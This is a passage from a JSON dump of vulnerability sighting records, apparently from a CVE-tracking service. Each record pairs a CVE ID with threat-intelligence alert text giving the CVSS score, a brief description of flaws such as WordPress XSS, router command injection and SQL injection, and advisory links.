"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-26)", "content": "", "creation_timestamp": "2026-04-26T00:00:00.000000Z"}, {"uuid": "b0c58f32-62f5-4a8a-880a-8a43e93c43d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12120", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15286", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12120\n\ud83d\udd25 CVSS Score: 5.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Countdown widget display_message_text parameter in all versions up to, and including, 1.7.1017 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-05-07T07:21:40.882Z\n\ud83d\udccf Modified: 2025-05-07T07:21:40.882Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5ee7b4d8-c397-41f6-981f-9a010e4ab2f1?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3236381/royal-elementor-addons/tags/1.7.1008/modules/countdown/widgets/wpr-countdown.php?old=3220755&old_path=royal-elementor-addons%2Ftags%2F1.7.1007%2Fmodules%2Fcountdown%2Fwidgets%2Fwpr-countdown.php\n3. https://plugins.trac.wordpress.org/changeset/3285549/royal-elementor-addons/tags/1.7.1018/assets/js/frontend.js?old=3277554&old_path=royal-elementor-addons%2Ftags%2F1.7.1017%2Fassets%2Fjs%2Ffrontend.js", "creation_timestamp": "2025-05-07T08:21:50.000000Z"}, {"uuid": "812b8aa2-a4cc-47df-89b4-1b7e7f53456a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12225", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15216", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12225\n\ud83d\udd25 CVSS Score: 9.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: A vulnerability was found in Quarkus in the quarkus-security-webauthn module. The Quarkus WebAuthn module publishes default REST endpoints for registering and logging users in while allowing developers to provide custom REST endpoints. When developers provide custom REST endpoints, the default endpoints remain accessible, potentially allowing attackers to obtain a login cookie that has no corresponding user in the Quarkus application or, depending on how the application is written, could correspond to an existing user that has no relation with the current attacker, allowing anyone to log in as an existing user by just knowing that user's user name.\n\ud83d\udccf Published: 2025-05-06T19:49:16.502Z\n\ud83d\udccf Modified: 2025-05-06T19:49:16.502Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12225\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330484", "creation_timestamp": "2025-05-06T20:21:20.000000Z"}, {"uuid": "4063e656-2a4e-40f8-80d7-b8c7ffe147f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12083", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15238", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12083\n\ud83d\udd25 CVSS Score: 6.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Path Traversal Vulnerabilities (CWE-22) exist in NJ/NX-series Machine Automation Controllers. An attacker may use these vulnerabilities to perform unauthorized access and to execute unauthorized code remotely to the controller products.\n\ud83d\udccf Published: 2025-01-14T00:46:33.399Z\n\ud83d\udccf Modified: 2025-05-06T23:55:36.575Z\n\ud83d\udd17 References:\n1. https://www.fa.omron.co.jp/product/security/assets/pdf/en/OMSR-2025-001_en.pdf\n2. https://www.fa.omron.co.jp/product/security/assets/pdf/ja/OMSR-2025-001_ja.pdf", "creation_timestamp": "2025-05-07T00:21:55.000000Z"}, {"uuid": "0f68c4f8-a5ef-4cd9-ac8d-1bacc77333b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1260", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15421", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1260\n\ud83d\udd25 CVSS Score: 6.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: A vulnerability classified as critical has been found in Juanpao JPShop up to 1.5.02. This affects the function actionIndex of the file /api/controllers/admin/app/ComboController.php of the component API. The manipulation of the argument pic_url leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252999.\n\ud83d\udccf Published: 2024-02-06T21:31:03.764Z\n\ud83d\udccf Modified: 2025-05-07T20:06:35.451Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.252999\n2. https://vuldb.com/?ctiid.252999\n3. https://note.zhaoj.in/share/H73DuWdyifaI", "creation_timestamp": "2025-05-07T20:23:03.000000Z"}, {"uuid": "3cee5368-5b44-4576-8a1e-6e3c688290f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12401", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15558", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12401\n\ud83d\udd25 CVSS Score: 4.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A flaw was found in the cert-manager package. This flaw allows an attacker who can modify PEM data that the cert-manager reads, for example, in a Secret resource, to use large amounts of CPU in the cert-manager controller pod to effectively create a denial-of-service (DoS) vector for the cert-manager in the cluster.\n\ud83d\udccf Published: 2024-12-12T09:06:03.612Z\n\ud83d\udccf Modified: 2025-05-08T15:59:14.670Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12401\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2327929\n3. https://github.com/cert-manager/cert-manager/pull/7400\n4. https://github.com/cert-manager/cert-manager/pull/7401\n5. https://github.com/cert-manager/cert-manager/pull/7402\n6. https://github.com/cert-manager/cert-manager/pull/7403\n7. https://github.com/cert-manager/cert-manager/security/advisories/GHSA-r4pg-vg54-wxx4\n8. https://go.dev/issue/50116", "creation_timestamp": "2025-05-08T16:23:57.000000Z"}, {"uuid": "242e27a4-e128-4ed2-b8a0-5dd2cf93d21a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15595", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12378\n\ud83d\udd25 CVSS Score: 9.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: On affected platforms running Arista EOS with secure Vxlan configured, restarting the Tunnelsec agent will result in packets being sent over the secure Vxlan tunnels in the clear.\n\ud83d\udccf Published: 2025-05-08T19:05:22.320Z\n\ud83d\udccf Modified: 2025-05-08T19:05:22.320Z\n\ud83d\udd17 References:\n1. https://www.arista.com/en/support/advisories-notices/security-advisory/21289-security-advisory-0113", "creation_timestamp": "2025-05-08T19:24:16.000000Z"}, {"uuid": "cb8ebc60-e401-4ac2-9154-d7277aa6056f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12442", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15727", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12442\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: EnerSys AMPA versions 24.04 through 24.16, inclusive, are vulnerable to command injection leading to privileged remote shell access.\n\ud83d\udccf Published: 2025-05-09T13:55:20.669Z\n\ud83d\udccf Modified: 2025-05-09T13:55:20.669Z\n\ud83d\udd17 References:\n1. https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2025/MNDT-2025-0002.md\n2. https://www.enersys.com/4996df/globalassets/documents/corporate/cve/enersys_cve-2024-12442-final.pdf", "creation_timestamp": "2025-05-09T14:26:11.000000Z"}, {"uuid": "8c9e18c4-cdc9-4c6d-9620-dd066d5eb83f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12582", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16037", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12582\n\ud83d\udd25 CVSS Score: 7.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H)\n\ud83d\udd39 Description: A flaw was found in the skupper console,  a read-only interface that renders cluster network, traffic details, and metrics for a network application that a user sets up across a hybrid multi-cloud environment. When the default authentication method is used, a random password is generated for the \"admin\" user and is persisted in either a Kubernetes secret or a podman volume in a plaintext file. This authentication method can be manipulated by an attacker, leading to the reading of any user-readable file in the container filesystem, directly impacting data confidentiality. Additionally, the attacker may induce skupper to read extremely large files into memory, resulting in resource exhaustion and a denial of service attack.\n\ud83d\udccf Published: 2024-12-24T03:31:24.896Z\n\ud83d\udccf Modified: 2025-05-12T20:08:42.332Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:1413\n2. https://access.redhat.com/security/cve/CVE-2024-12582\n3. https://bugzilla.redhat.com/show_bug.cgi?id=2333540", "creation_timestamp": "2025-05-12T20:29:37.000000Z"}, {"uuid": "05989c08-69bb-4fcb-b5ef-f3bed60393a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16339", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12987\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4. Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web Management Interface. The manipulation of the argument session leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component.\n\ud83d\udccf Published: 2024-12-27T16:00:13.600Z\n\ud83d\udccf Modified: 2025-05-14T17:03:33.399Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.289380\n2. https://vuldb.com/?ctiid.289380\n3. https://vuldb.com/?submit.468795\n4. https://netsecfish.notion.site/Command-Injection-in-apmcfgupload-endpoint-for-DrayTek-Gateway-Devices-1676b683e67c8040b7f1f0ffe29ce18f?pvs=4", "creation_timestamp": "2025-05-14T17:32:10.000000Z"}, {"uuid": "e3b27bd7-fafe-4964-9b95-87dfc74fef80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12767", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16567", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12767\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The buddyboss-platform WordPress plugin before 2.7.60 lacks proper access controls and allows a logged-in user to view comments on private posts\n\ud83d\udccf Published: 2025-05-15T20:09:40.026Z\n\ud83d\udccf Modified: 2025-05-15T20:09:40.026Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/e8997f90-d8e9-4815-8808-aa0183443dae/", "creation_timestamp": "2025-05-15T20:33:55.000000Z"}, {"uuid": "76cd2d39-86aa-4754-8561-45a6bd9f66f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12827", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19680", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12827\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The DWT - Directory & Listing WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.3.6. This is due to the plugin not properly checking for an empty token value prior to resetting a user's password through the dwt_listing_reset_password() function. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.\n\ud83d\udccf Published: 2025-06-27T08:23:57.966Z\n\ud83d\udccf Modified: 2025-06-27T08:23:57.966Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/51fc7d47-2a0f-4713-9859-120321aa32dc?source=cve\n2. https://themeforest.net/item/dwt-listing-directory-listing-wordpress-theme/21976132", "creation_timestamp": "2025-06-27T08:52:06.000000Z"}, {"uuid": "03d668c6-379b-49c9-940e-fd382af1147d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12136", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19697", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12136\n\ud83d\udd25 CVSS Score: 6.9 (cvssV3_1, Vector: CVSS:3.1/AV:P/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: Missing Critical Step in Authentication vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Authentication Bypass.This issue affects ANKA JPD-00028: before V.01.01.\n\ud83d\udccf Published: 2025-03-19T08:35:14.671Z\n\ud83d\udccf Modified: 2025-06-27T11:31:03.913Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0071", "creation_timestamp": "2025-06-27T11:50:13.000000Z"}, {"uuid": "044fdf6f-2eb2-4543-9fa3-b580e526e201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12137", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19698", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12137\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_1, Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H)\n\ud83d\udd39 Description: Authentication Bypass by Capture-replay vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Session Hijacking.This issue affects ANKA JPD-00028: before V.01.01.\n\ud83d\udccf Published: 2025-03-19T08:32:38.226Z\n\ud83d\udccf Modified: 2025-06-27T11:30:10.384Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0071", "creation_timestamp": "2025-06-27T11:50:14.000000Z"}, {"uuid": "72b24f6f-de22-4491-8817-386375b805e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12364", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19747", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12364\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Mavi Ye\u015fil Software Guest Tracking Software allows SQL Injection.This issue affects .\u00a0\u00a0NOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available.\n\ud83d\udccf Published: 2025-06-27T16:13:51.955Z\n\ud83d\udccf Modified: 2025-06-27T16:40:30.349Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0140", "creation_timestamp": "2025-06-27T16:57:26.000000Z"}, {"uuid": "489866bc-bb5c-45f5-9950-355d93dbfe1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12150", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19746", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12150\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Eron Software Wowwo CRM allows Blind SQL Injection.This issue affects .\u00a0NOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available.\n\ud83d\udccf Published: 2025-06-27T16:40:47.711Z\n\ud83d\udccf Modified: 2025-06-27T16:40:47.711Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0141", "creation_timestamp": "2025-06-27T16:57:26.000000Z"}, {"uuid": "9887170f-1f90-4045-a076-06e24bec26d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12716", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17068", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12716\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Simple Basic Contact Form WordPress plugin before 20250114 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-05-15T20:06:53.772Z\n\ud83d\udccf Modified: 2025-05-20T19:32:33.083Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/a9fa48f1-d7fd-4968-a122-937803f186a2/", "creation_timestamp": "2025-05-20T19:43:22.000000Z"}, {"uuid": "96d5dc6e-7b0a-411c-b60c-470874a88139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12986", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16740", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12986\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, has been found in DrayTek Vigor2960 and Vigor300B 1.5.1.3/1.5.1.4. This issue affects some unknown processing of the file /cgi-bin/mainfunction.cgi/apmcfgupptim of the component Web Management Interface. The manipulation of the argument session leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component.\n\ud83d\udccf Published: 2024-12-27T15:31:05.003Z\n\ud83d\udccf Modified: 2025-05-16T18:37:19.459Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.289379\n2. https://vuldb.com/?ctiid.289379\n3. https://vuldb.com/?submit.468794\n4. https://netsecfish.notion.site/Command-Injection-in-apmcfgupptim-endpoint-for-DrayTek-Gateway-Devices-1676b683e67c80b9ad8cc37b93273bf6?pvs=4", "creation_timestamp": "2025-05-16T19:34:38.000000Z"}, {"uuid": "75f72257-d6c8-4d13-91bd-6fa4e1d5258b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12680", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17067", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12680\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Prisna GWT  WordPress plugin before 1.4.14 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-05-15T20:06:53.573Z\n\ud83d\udccf Modified: 2025-05-20T19:32:42.095Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/28537fbc-3c2b-40c1-85f0-8b5f94eaad51/", "creation_timestamp": "2025-05-20T19:43:14.000000Z"}, {"uuid": "7d7ef0cb-3229-4495-8223-7ecf32c84d12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12679", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17066", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12679\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Prisna GWT  WordPress plugin before 1.4.14 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-05-15T20:06:53.369Z\n\ud83d\udccf Modified: 2025-05-20T19:32:51.031Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/7ca1438f-4269-4e34-be4a-766276a9f016/", "creation_timestamp": "2025-05-20T19:43:08.000000Z"}, {"uuid": "181cf6b4-41eb-42f5-815d-a1ed2f6b7284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12301", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17065", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12301\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The JSP Store Locator WordPress plugin through 1.0 does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks.\n\ud83d\udccf Published: 2025-05-15T20:06:52.758Z\n\ud83d\udccf Modified: 2025-05-20T19:33:00.155Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/5d93db07-415f-475b-a76d-2e12f849a4dc/", "creation_timestamp": "2025-05-20T19:43:04.000000Z"}, {"uuid": "ec1cd236-90f2-4bc3-af4c-b120d7de93fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12722", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17069", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12722\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Twitter Bootstrap Collapse aka Accordian Shortcode WordPress plugin through 1.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2025-05-15T20:06:53.961Z\n\ud83d\udccf Modified: 2025-05-20T19:32:23.866Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/c3be5990-ca89-4ac4-baae-49af55df9d57/", "creation_timestamp": "2025-05-20T19:43:29.000000Z"}, {"uuid": "ab7e3b0b-afe2-4c33-afa7-a67323de39c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12093", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17276", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12093\n\ud83d\udd25 CVSS Score: 6.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: An issue has been discovered in GitLab CE/EE affecting all versions from 11.1 before 17.10.7, 17.11 before 17.11.3, and 18.0 before 18.0.1. Improper XPath validation allows modified SAML response to bypass 2FA requirement under specialized conditions.\n\ud83d\udccf Published: 2025-05-22T14:32:04.147Z\n\ud83d\udccf Modified: 2025-05-22T14:32:04.147Z\n\ud83d\udd17 References:\n1. https://gitlab.com/gitlab-org/gitlab/-/issues/507445\n2. https://hackerone.com/reports/2851261", "creation_timestamp": "2025-05-22T14:43:11.000000Z"}, {"uuid": "6db511b9-988a-4bf4-9848-28b97f524b8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12915", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19937", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12915\n\ud83d\udd25 CVSS Score: 4.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Devinim Software Library Software allows Reflected XSS.This issue affects Library Software: before 24.11.02.\n\ud83d\udccf Published: 2025-06-30T15:43:59.956Z\n\ud83d\udccf Modified: 2025-06-30T16:00:17.912Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0144", "creation_timestamp": "2025-06-30T16:07:10.000000Z"}, {"uuid": "358b5a45-a56d-4cce-87b7-7fcfcf0877de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1269", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17932", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1269\n\ud83d\udd25 CVSS Score: 2.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: A vulnerability has been found in SourceCodester Product Management System 1.0 and classified as problematic. This vulnerability affects unknown code of the file /supplier.php. The manipulation of the argument supplier_name/supplier_contact leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-253012.\n\ud83d\udccf Published: 2024-02-07T02:00:05.782Z\n\ud83d\udccf Modified: 2025-06-10T16:15:09.978Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.253012\n2. https://vuldb.com/?ctiid.253012\n3. https://github.com/PrecursorYork/Product-Management-System-Using-PHP-and-MySQL-Reflected-XSS-POC/blob/main/README.md", "creation_timestamp": "2025-06-10T16:32:00.000000Z"}, {"uuid": "87015388-2289-47de-9687-3cfa9d9d8be5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1244", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18040", "content": "\ud83d\udd17 DarkWebInformer.com - 